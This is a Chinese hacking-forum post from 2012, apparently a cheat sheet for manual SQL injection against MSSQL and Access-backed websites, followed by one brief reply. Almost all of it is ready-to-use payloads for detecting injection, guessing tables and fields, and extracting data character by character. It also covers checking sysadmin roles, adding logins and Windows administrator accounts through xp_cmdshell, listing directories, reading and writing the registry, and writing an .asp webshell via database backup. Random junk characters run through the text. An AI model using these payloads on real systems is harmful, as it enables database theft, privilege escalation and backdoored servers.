找回密码
 立即注册
查看: 2637|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 . _" a- ?+ `7 j( z- i( k  b
1.判断是否有注入;and 1=1 ;and 1=2 3 a1 y- B) ~  A0 X, v6 k+ L4 L+ g7 a
2 p& I; Y* o) X+ _. R# ?  `
2.初步判断是否是mssql ;and user>0 ; D; H7 s2 m9 B  ], s  R7 `! L7 b! q
4 b% Q: u" {' |. B5 b0 }- s  C
3.注入参数是字符'and [查询条件] and ''=' " p- K: l# n. v% B, |: X
; I( A/ \( Z: W' h- V
4.搜索时没过滤参数的'and [查询条件] and '%25'='
4 P. c$ M5 E3 U; B! H6 U$ B
5 G6 r% h6 X% K8 g2 f5 q. s' _6 Q; Q5.判断数据库系统 ! M# O- E4 ]; p1 Z7 \; @
;and (select count(*) from sysobjects)>0 mssql
* a+ ^* {  _7 l$ H) N4 F% m;and (select count(*) from msysobjects)>0 access * q: t, ]1 z7 H0 h+ O

$ G- @8 [) `% `' {. x. d( P- }6.猜数据库 ;and (select Count(*) from [数据库名])>0
  T9 g5 z9 y% ~7 o
0 @0 U5 F0 c1 Q+ I7.猜字段 ;and (select Count(字段名) from 数据库名)>0 8 l0 e  O. |5 w) e2 t2 Z
) l4 l: o: ~5 z
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
  v9 Q, O8 h/ J- n. R) A! h2 C( R4 ?! j! A$ f. U2 t/ q
9.(1)猜字段的ascii值(access) 5 L. e' Y+ ?4 Y
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
. j8 T* t! |. G' V* N- ~$ ^  G0 S# N  r& W& [9 r$ j: _9 k
(2)猜字段的ascii值(mssql)
2 f3 c* v. z  N! i2 [;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ! Y; F* p$ m4 z- y6 Q; Q

9 N& q3 q+ Y" f" h. V, `) N10.测试权限结构(mssql) & K' s, M/ O5 h. e% {
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- - ~/ b( ~  E. g% c+ r- x) M# M3 h3 Y0 _
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
/ A" E! |* O; q! R1 V: w* |;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
* y$ q9 C8 Q, v; E3 o* y. o, [;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
, I+ {! U; g- Y6 K* f1 |;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
* T2 m' E6 [6 q' T$ j;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9 D, Q+ T' w6 Z3 K6 |2 }1 [% B, ~
;and 1=(select IS_MEMBER('db_owner'));--
  {2 ]2 [  M+ ?/ g$ a4 `6 C
: ^. K) Q+ d9 R- J0 w* U11.添加mssql和系统的帐户 # L; O, q8 g- r8 ]  @4 Y# F# Q7 S1 z
;exec master.dbo.sp_addlogin username;-- ! c& V, H, N! `& e% ?5 W) I3 m  y" t, u
- K( J! y- U/ i1 U% G
;exec master.dbo.sp_password null,username,password;--
+ W3 T& A2 _6 n4 e4 ^, T) N' J: R. x8 W2 w7 h( s4 l9 F- `5 t  A
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 6 p1 Z& w- r5 v: L, H4 j% m

% P, W0 K/ K1 @. F/ s5 G;exec master.dbo.xp_cmdshell 'net user username password
1 O$ M: Z5 U2 ~, o. I% A% q/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ( [9 v+ I6 D* c" J! g% T
- I7 s& y, g" j6 Y6 V2 A  g: n
;exec master.dbo.xp_cmdshell 'net user username password /add';--
/ `8 }8 S" u' I2 g1 d. `4 g' t. H3 X+ ^; U8 |9 z
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 5 K1 S3 v- p6 z1 _

' Y1 ?9 }& n/ C, s& d12.(1)遍历目录 . G# K9 F1 R2 O

$ k6 y) a0 k: Q" C;create table dirs(paths varchar(100), id int) - O$ v6 p0 _# l" M
;insert dirs exec master.dbo.xp_dirtree 'c:\' 2 J2 R3 `6 q8 x  q
;and (select top 1 paths from dirs)>0
& z- l4 X0 `# Y. h/ K& G: Q;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 6 I5 L- n4 H  \3 B
; M6 ]- I5 R. C+ M( i
(2)遍历目录 ) n4 a8 u' w! H. h- U
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
/ F6 ~7 @& w4 U- W& h! `;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 9 w4 S: g4 z7 |" R- C7 T
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
# P- L* _( ~) f  U" f  b# J% B0 X;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 1 n  U; Q, h, o+ h
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容   Z6 z& E% n# W, t# r" @

5 [# n" a; p/ e' l0 K+ \7 _  J13.mssql中的存储过程
8 I% d& i' l) @# b: C1 b) Z7 I6 _( N% ^& g1 c
xp_regenumvalues 注册表根键, 子键 6 _% G" Z: S1 F$ {9 H8 G
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 % X6 A) q3 z2 H( ]: ^

# ~7 V- [0 A2 Cxp_regread 根键,子键,键值名
/ u  P& |) m7 F;exec xp_regread
( J( O* q* o; m'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 2 F9 m! }3 ?+ k# r/ w# q$ o3 a
% n; t) K: G/ d0 ^8 U1 `# L
xp_regwrite 根键,子键, 值名, 值类型, 值 0 X" F# r3 e; w% N7 `# q
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 3 V4 B( M1 m! m: b7 G
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
4 c, [5 N0 }, W8 r8 J
' G6 K- b0 j9 {; B: e: J7 }7 uxp_regdeletevalue 根键,子键,值名 ' y: d- G, y/ d

: g5 A( s" }7 {; Z6 Y% [exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ( L: \' v2 |5 E
! f5 L3 b5 k9 p! K0 k4 I6 ?/ t
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 " G% N( m' y3 F9 ?8 X" t

6 u/ w& r, v* [2 _. s7 l14.mssql的backup创建webshell
( G% g" F) @% y6 suse model
5 _9 q& S: J+ B2 ]; r- p/ O- lcreate table cmd(str image);
- {* A) @0 x; I( Tinsert into cmd(str) values ('');
) u( |* @6 A+ D0 `) T+ @% hbackup database model to disk='c:\l.asp';
/ T7 o$ ]% M: D/ g+ Z" ?' \- V0 c( n. C. x
15.mssql内置函数 % S) F1 W* G- E. b
;and (select @@version)>0 获得Windows的版本号 9 t3 A/ R) I) N* _, v% w
;and user_name()='dbo' 判断当前系统的连接用户是不是sa - u: C' {8 w5 n5 f* f" o& w) }2 W! s
;and (select user_name())>0 爆当前系统的连接用户
3 h6 {' z" L# g;and (select db_name())>0 得到当前连接的数据库 - |+ b" b% m- y! H' O2 o# `  @

/ n+ k8 W6 j7 v/ i! _6 H; e' ?16.简洁的webshell 3 _( `6 W8 Z7 J  R! k7 q

* J% |" i: s$ O9 h5 V! Cuse model ' p" {/ e  x6 a/ u, m4 G
9 f" L, l/ `- e" }
create table cmd(str image); 7 s  E' G% O. e: T# u
* y2 r  x  f/ o
insert into cmd(str) values ('');
! \5 A' }9 H, {' e1 _; e- F' g" k: |& f  u9 f3 Q# o
backup database model to disk='g:\wwwtest\l.asp'; 4 z! c2 z" Q: ?" k! P# d

# j7 j* S- |8 A" L2 h
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表